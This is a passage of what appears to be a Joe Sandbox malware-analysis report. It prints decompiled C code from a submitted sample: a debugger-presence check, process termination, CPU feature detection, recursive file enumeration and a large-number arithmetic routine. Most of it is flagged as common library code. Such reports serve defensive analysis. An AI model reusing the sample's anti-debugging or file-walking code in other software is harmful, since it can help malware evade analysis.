0x010d96a0
0x010d96a2
0x010d96a8
0x010d96b7
0x010d96c3
0x010d96c3
0x010d96c6
0x010d96cb
0x010d96cc
0x010d96da

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 010D9698
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 010D96A2
UnhandledExceptionFilter.KERNEL32(010D998B,?,?,?,?,?,00000000), ref: 010D96AF

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 978212669da42ac68319b1dde0d8be170470296cb6c496b3dc0d248fc14c6d69
Instruction ID: bcb476cee7b98afb89ddf9838b196b5d8334cb94953da869dd3501b3ff7ecac9
Opcode Fuzzy Hash: 978212669da42ac68319b1dde0d8be170470296cb6c496b3dc0d248fc14c6d69
Instruction Fuzzy Hash: 0131B5759013199BCB61EF68D8887DDBBB4BF18310F5041EAE45CA7290E7749B858F44

Uniqueness

Uniqueness Score: -1.00%

Function 010DC1C9 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E010DC1C9(int _a4) {
				void* _t14;
				void* _t16;

				if(E010DAAF2(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E010DC24E(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x010dc1d5
0x010dc1f1
0x010dc1f1
0x010dc1fa
0x010dc203

APIs

GetCurrentProcess.KERNEL32(010DA67C,?,010DC19F,010DA67C,0112A700,0000000C,010DC2F6,010DA67C,00000002,00000000,?,010DA67C), ref: 010DC1EA
TerminateProcess.KERNEL32(00000000,?,010DC19F,010DA67C,0112A700,0000000C,010DC2F6,010DA67C,00000002,00000000,?,010DA67C), ref: 010DC1F1
ExitProcess.KERNEL32 ref: 010DC203

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e4c149033aacce24115d977b053a586da7a1134b983b892df4f02082ff9d2ce1
Instruction ID: 0fc80b6eedfd487a6f74394644bad558e84c56c3902e0f3d22356b3414b51480
Opcode Fuzzy Hash: e4c149033aacce24115d977b053a586da7a1134b983b892df4f02082ff9d2ce1
Instruction Fuzzy Hash: 59E04636000258AFDF216FA9DA08AD83FA9EF44655F410058FD899B121CB3AEC82CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010DE0BE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E010DE0BE(intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t63;
				intOrPtr _t65;
				signed int _t66;
				signed int _t68;
				intOrPtr _t73;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t84;
				intOrPtr* _t86;
				signed int _t91;
				signed int _t94;

				_t84 = __edx;
				 *0x116e4ec =  *0x116e4ec & 0x00000000;
				 *0x116dd80 =  *0x116dd80 | 1;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L20:
					return 0;
				}
				_v24 = _v24 & 0x00000000;
				 *0x116dd80 =  *0x116dd80 | 0x00000002;
				 *0x116e4ec = 1;
				_t86 =  &_v48;
				_push(1);
				asm("cpuid");
				_pop(_t73);
				 *_t86 = 0;
				 *((intOrPtr*)(_t86 + 4)) = 1;
				 *((intOrPtr*)(_t86 + 8)) = 0;
				 *((intOrPtr*)(_t86 + 0xc)) = _t84;
				_v16 = _v48;
				_v8 = _v36 ^ 0x49656e69;
				_v12 = _v40 ^ 0x6c65746e;
				_push(1);
				asm("cpuid");
				_t75 =  &_v48;
				 *_t75 = 1;
				 *((intOrPtr*)(_t75 + 4)) = _t73;
				 *((intOrPtr*)(_t75 + 8)) = 0;
				 *((intOrPtr*)(_t75 + 0xc)) = _t84;
				if((_v44 ^ 0x756e6547 | _v8 | _v12) != 0) {
					L9:
					_t91 =  *0x116e4f0; // 0x2
					L10:
					_v32 = _v36;
					_t59 = _v40;
					_v8 = _t59;
					_v28 = _t59;
					if(_v16 >= 7) {
						_t65 = 7;
						_push(_t75);
						asm("cpuid");
						_t77 =  &_v48;
						 *_t77 = _t65;
						 *((intOrPtr*)(_t77 + 4)) = _t75;
						 *((intOrPtr*)(_t77 + 8)) = 0;
						 *((intOrPtr*)(_t77 + 0xc)) = _t84;
						_t66 = _v44;
						_v24 = _t66;
						_t59 = _v8;
						if((_t66 & 0x00000200) != 0) {
							 *0x116e4f0 = _t91 | 0x00000002;
						}
					}
					if((_t59 & 0x00100000) != 0) {
						 *0x116dd80 =  *0x116dd80 | 0x00000004;
						 *0x116e4ec = 2;
						if((_t59 & 0x08000000) != 0 && (_t59 & 0x10000000) != 0) {
							asm("xgetbv");
							_v20 = _t59;
							_v16 = _t84;
							if((_v20 & 0x00000006) == 6 && 0 == 0) {
								_t62 =  *0x116dd80; // 0x2f
								_t63 = _t62 | 0x00000008;
								 *0x116e4ec = 3;
								 *0x116dd80 = _t63;
								if((_v24 & 0x00000020) != 0) {
									 *0x116e4ec = 5;
									 *0x116dd80 = _t63 | 0x00000020;
								}
							}
						}
					}
					goto L20;
				}
				_t68 = _v48 & 0x0fff3ff0;
				if(_t68 == 0x106c0 || _t68 == 0x20660 || _t68 == 0x20670 || _t68 == 0x30650 || _t68 == 0x30660 || _t68 == 0x30670) {
					_t94 =  *0x116e4f0; // 0x2
					_t91 = _t94 | 0x00000001;
					 *0x116e4f0 = _t91;
					goto L10;
				} else {
					goto L9;
				}
			}

0x010de0be
0x010de0c1
0x010de0cf
0x010de0de
0x010de25b
0x010de261
0x010de261
0x010de0e4
0x010de0ea
0x010de0f5
0x010de0fb
0x010de0fe
0x010de0ff
0x010de103
0x010de104
0x010de106
0x010de109
0x010de10e
0x010de117
0x010de128
0x010de133
0x010de139
0x010de13a
0x010de142
0x010de148
0x010de14a
0x010de14d
0x010de150
0x010de153
0x010de198
0x010de198
0x010de19e
0x010de1a5
0x010de1a8
0x010de1ab
0x010de1ae
0x010de1b1
0x010de1b5
0x010de1b8
0x010de1b9
0x010de1be
0x010de1c1
0x010de1c3
0x010de1c6
0x010de1c9
0x010de1cc
0x010de1d4
0x010de1d7
0x010de1da
0x010de1df
0x010de1df
0x010de1da
0x010de1ec
0x010de1ee
0x010de1f5
0x010de204
0x010de20f
0x010de212
0x010de215
0x010de226
0x010de22c
0x010de231
0x010de234
0x010de242
0x010de247
0x010de24c
0x010de256
0x010de256
0x010de247
0x010de226
0x010de204
0x00000000
0x010de1ec
0x010de158
0x010de162
0x010de187
0x010de18d
0x010de190
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 010DE0D7

Strings

, xrefs: 010DE23E

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-3916222277
Opcode ID: 501f676ec1f956fdc5a7862620f1295412ddcf7fd95204714b13733c28ea1f14
Instruction ID: 81e42abf9fe6051686e6461d190efb65c36b910facdbb2962555bffa882c0d10
Opcode Fuzzy Hash: 501f676ec1f956fdc5a7862620f1295412ddcf7fd95204714b13733c28ea1f14
Instruction Fuzzy Hash: 50519A75E01309DFEB68CFAAD9856AEBBF4FB88314F1481AAD454EB254D331A540CF60

Uniqueness

Uniqueness Score: -1.00%

Function 010E1989 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E010E1989(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v28;
				signed int _v32;
				WCHAR* _v36;
				signed int _v48;
				intOrPtr _v556;
				intOrPtr _v558;
				struct _WIN32_FIND_DATAW _v604;
				intOrPtr* _v608;
				signed int _v612;
				signed int _v616;
				intOrPtr _v644;
				intOrPtr _v648;
				signed int _t40;
				signed int _t45;
				signed int _t48;
				signed int _t50;
				signed int _t51;
				signed char _t53;
				signed int _t62;
				void* _t64;
				union _FINDEX_INFO_LEVELS _t66;
				signed int _t71;
				intOrPtr* _t72;
				signed int _t75;
				void* _t82;
				void* _t84;
				signed int _t85;
				void* _t89;
				WCHAR* _t90;
				intOrPtr* _t94;
				intOrPtr _t97;
				void* _t99;
				signed int _t100;
				intOrPtr* _t104;
				signed int _t107;
				void* _t110;
				intOrPtr _t111;
				void* _t112;
				void* _t114;
				void* _t115;
				signed int _t117;
				void* _t118;
				union _FINDEX_INFO_LEVELS _t119;
				void* _t124;
				void* _t125;
				signed int _t126;
				void* _t127;
				signed int _t132;
				void* _t133;
				signed int _t134;
				void* _t135;
				void* _t136;

				_push(__ecx);
				_t94 = _a4;
				_push(__ebx);
				_push(__edi);
				_t2 = _t94 + 2; // 0x2
				_t110 = _t2;
				do {
					_t40 =  *_t94;
					_t94 = _t94 + 2;
				} while (_t40 != 0);
				_t117 = _a12;
				_t97 = (_t94 - _t110 >> 1) + 1;
				_v8 = _t97;
				if(_t97 <= (_t40 | 0xffffffff) - _t117) {
					_push(__esi);
					_t5 = _t117 + 1; // 0x1
					_t89 = _t5 + _t97;
					_t124 = E010DA67D(_t97, _t89, 2);
					_pop(_t99);
					__eflags = _t117;
					if(_t117 == 0) {
						L6:
						_push(_v8);
						_t89 = _t89 - _t117;
						_t45 = E010DBE98(_t99, _t124 + _t117 * 2, _t89, _a4);
						_t134 = _t133 + 0x10;
						__eflags = _t45;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t82 = E010E1C02(_a16, __eflags, _t124);
							E010DA6DA(0);
							_t84 = _t82;
							goto L8;
						}
					} else {
						_push(_t117);
						_t85 = E010DBE98(_t99, _t124, _t89, _a8);
						_t134 = _t133 + 0x10;
						__eflags = _t85;
						if(_t85 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E010D977A();
							asm("int3");
							_t132 = _t134;
							_t135 = _t134 - 0x260;
							_t48 =  *0x116dd74; // 0x2e3e64ca
							_v48 = _t48 ^ _t132;
							_t111 = _v28;
							_t100 = _v32;
							_push(_t89);
							_t90 = _v36;
							_push(_t124);
							_push(_t117);
							_t125 = 0x5c;
							_v644 = _t111;
							_v648 = 0x2f;
							_t118 = 0x3a;
							while(1) {
								__eflags = _t100 - _t90;
								if(_t100 == _t90) {
									break;
								}
								_t50 =  *_t100 & 0x0000ffff;
								__eflags = _t50 - _v612;
								if(_t50 != _v612) {
									__eflags = _t50 - _t125;
									if(_t50 != _t125) {
										__eflags = _t50 - _t118;
										if(_t50 != _t118) {
											_t100 = _t100 - 2;
											__eflags = _t100;
											continue;
										}
									}
								}
								break;
							}
							_t126 =  *_t100 & 0x0000ffff;
							__eflags = _t126 - _t118;
							if(_t126 != _t118) {
								L19:
								_t51 = _t126;
								_t119 = 0;
								_t112 = 0x2f;
								__eflags = _t51 - _t112;
								if(_t51 == _t112) {
									L23:
									_t53 = 1;
									__eflags = 1;
								} else {
									_t114 = 0x5c;
									__eflags = _t51 - _t114;
									if(_t51 == _t114) {
										goto L23;
									} else {
										_t115 = 0x3a;
										__eflags = _t51 - _t115;
										if(_t51 == _t115) {
											goto L23;
										} else {
											_t53 = 0;
										}
									}
								}
								_t103 = (_t100 - _t90 >> 1) + 1;
								asm("sbb eax, eax");
								_v612 =  ~(_t53 & 0x000000ff) & (_t100 - _t90 >> 0x00000001) + 0x00000001;
								E010DF070(_t119,  &_v604, _t119, 0x250);
								_t136 = _t135 + 0xc;
								_t127 = FindFirstFileExW(_t90, _t119,  &_v604, _t119, _t119, _t119);
								__eflags = _t127 - 0xffffffff;
								if(_t127 != 0xffffffff) {
									_t104 = _v608;
									_t62 =  *((intOrPtr*)(_t104 + 4)) -  *_t104;
									__eflags = _t62;
									_v616 = _t62 >> 2;
									_t64 = 0x2e;
									do {
										__eflags = _v604.cFileName - _t64;
										if(_v604.cFileName != _t64) {
											L36:
											_push(_t104);
											_t66 = E010E1989(_t90, _t104, _t119, _t127,  &(_v604.cFileName), _t90, _v612);
											_t136 = _t136 + 0x10;
											__eflags = _t66;
											if(_t66 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											__eflags = _v558 - _t119;
											if(_v558 == _t119) {
												goto L37;
											} else {
												__eflags = _v558 - _t64;
												if(_v558 != _t64) {
													goto L36;
												} else {
													__eflags = _v556 - _t119;
													if(_v556 == _t119) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t71 = FindNextFileW(_t127,  &_v604);
										_t104 = _v608;
										__eflags = _t71;
										_t64 = 0x2e;
									} while (_t71 != 0);
									_t72 = _t104;
									_t107 = _v616;
									_t113 =  *_t72;
									_t75 =  *((intOrPtr*)(_t72 + 4)) -  *_t72 >> 2;
									__eflags = _t107 - _t75;
									if(_t107 != _t75) {
										E010E2A50(_t90, _t119, _t127, _t113 + _t107 * 4, _t75 - _t107, 4, E010E17A4);
									}
								} else {
									_push(_v608);
									_t66 = E010E1989(_t90, _t103, _t119, _t127, _t90, _t119, _t119);
									L26:
									_t119 = _t66;
								}
								__eflags = _t127 - 0xffffffff;
								if(_t127 != 0xffffffff) {
									FindClose(_t127);
								}
							} else {
								__eflags = _t100 -  &(_t90[1]);
								if(_t100 ==  &(_t90[1])) {
									goto L19;
								} else {
									_push(_t111);
									E010E1989(_t90, _t100, 0, _t126, _t90, 0, 0);
								}
							}
							__eflags = _v12 ^ _t132;
							return E010DDC5F(_v12 ^ _t132);
						} else {
							goto L6;
						}
					}
				} else {
					_t84 = 0xc;
					L8:
					return _t84;
				}
				L40:
			}

0x010e198e
0x010e198f
0x010e1992
0x010e1993
0x010e1996
0x010e1996
0x010e1999
0x010e1999
0x010e199c
0x010e199f
0x010e19a4
0x010e19ae
0x010e19b1
0x010e19b6
0x010e19bd
0x010e19be
0x010e19c1
0x010e19cb
0x010e19ce
0x010e19cf
0x010e19d1
0x010e19e5
0x010e19e5
0x010e19e8
0x010e19f2
0x010e19f7
0x010e19fa
0x010e19fc
0x00000000
0x010e19fe
0x010e1a02
0x010e1a0b
0x010e1a11
0x00000000
0x010e1a13
0x010e19d3
0x010e19d3
0x010e19d9
0x010e19de
0x010e19e1
0x010e19e3
0x010e1a1a
0x010e1a1c
0x010e1a1d
0x010e1a1e
0x010e1a1f
0x010e1a20
0x010e1a21
0x010e1a26
0x010e1a2a
0x010e1a2c
0x010e1a32
0x010e1a39
0x010e1a3c
0x010e1a3f
0x010e1a42
0x010e1a43
0x010e1a46
0x010e1a47
0x010e1a4a
0x010e1a4d
0x010e1a53
0x010e1a5d
0x010e1a79
0x010e1a79
0x010e1a7b
0x00000000
0x00000000
0x010e1a60
0x010e1a63
0x010e1a6a
0x010e1a6c
0x010e1a6f
0x010e1a71
0x010e1a74
0x010e1a76
0x010e1a76
0x00000000
0x010e1a76
0x010e1a74
0x010e1a6f
0x00000000
0x010e1a6a
0x010e1a7d
0x010e1a80
0x010e1a83
0x010e1a9f
0x010e1aa1
0x010e1aa3
0x010e1aa5
0x010e1aa6
0x010e1aa9
0x010e1abf
0x010e1ac1
0x010e1ac1
0x010e1aab
0x010e1aad
0x010e1aae
0x010e1ab1
0x00000000
0x010e1ab3
0x010e1ab5
0x010e1ab6
0x010e1ab9
0x00000000
0x010e1abb
0x010e1abb
0x010e1abb
0x010e1ab9
0x010e1ab1
0x010e1ac9
0x010e1ad1
0x010e1ad5
0x010e1ae3
0x010e1ae8
0x010e1afd
0x010e1aff
0x010e1b02
0x010e1b37
0x010e1b42
0x010e1b42
0x010e1b47
0x010e1b4d
0x010e1b4e
0x010e1b4e
0x010e1b55
0x010e1b72
0x010e1b72
0x010e1b81
0x010e1b86
0x010e1b89
0x010e1b8b
0x00000000
0x00000000
0x00000000
0x00000000
0x010e1b57
0x010e1b57
0x010e1b5e
0x00000000
0x010e1b60
0x010e1b60
0x010e1b67
0x00000000
0x010e1b69
0x010e1b69
0x010e1b70
0x00000000
0x00000000
0x00000000
0x00000000
0x010e1b70
0x010e1b67
0x010e1b5e
0x00000000
0x010e1b8d
0x010e1b95
0x010e1b9b
0x010e1ba1
0x010e1ba5
0x010e1ba5
0x010e1ba8
0x010e1baa
0x010e1bb0
0x010e1bb7
0x010e1bba
0x010e1bbc
0x010e1bd0
0x010e1bd5
0x010e1b04
0x010e1b0a
0x010e1b0e
0x010e1b16
0x010e1b16
0x010e1b16
0x010e1b18
0x010e1b1b
0x010e1b1e
0x010e1b1e
0x010e1a85
0x010e1a88
0x010e1a8a
0x00000000
0x010e1a8c
0x010e1a8c
0x010e1a92
0x010e1a97
0x010e1a8a
0x010e1b2b
0x010e1b36
0x00000000
0x00000000
0x00000000
0x010e19e3
0x010e19b8
0x010e19ba
0x010e1a14
0x010e1a19
0x010e1a19
0x00000000

Strings

/, xrefs: 010E1A53

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 34a2f6539d2da4f513edc96beb42d22d8f773cab27dceb051ac763439924f0b0
Instruction ID: 20231f90c568f36e0d8a5de56f0d9c0a2dc8307e0207e953ae0ea3211e917dd1
Opcode Fuzzy Hash: 34a2f6539d2da4f513edc96beb42d22d8f773cab27dceb051ac763439924f0b0
Instruction Fuzzy Hash: 25411672600219AEDB249EBADC4CEBB7BF8EB84714F1442A9F94597180E6709E818B50

Uniqueness

Uniqueness Score: -1.00%

Function 010D8340 Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E010D8340(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t349 = _t197 - 1;
						_t198 = _t267 - 1;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t306 = _t349 - _t198;
								_v60 = _t198 + 1;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0x8b00ffff
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0x220
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_v20 =  &(( &(_t262[1]))[_t307]);
										_t206 = _t307 + _t330;
										_v12 = _t206;
										_t278 = _t262 - 4 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E010DDCB0(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E010DDCD0(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E010DDC70(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E010DDC70(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xfa8cbd83
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
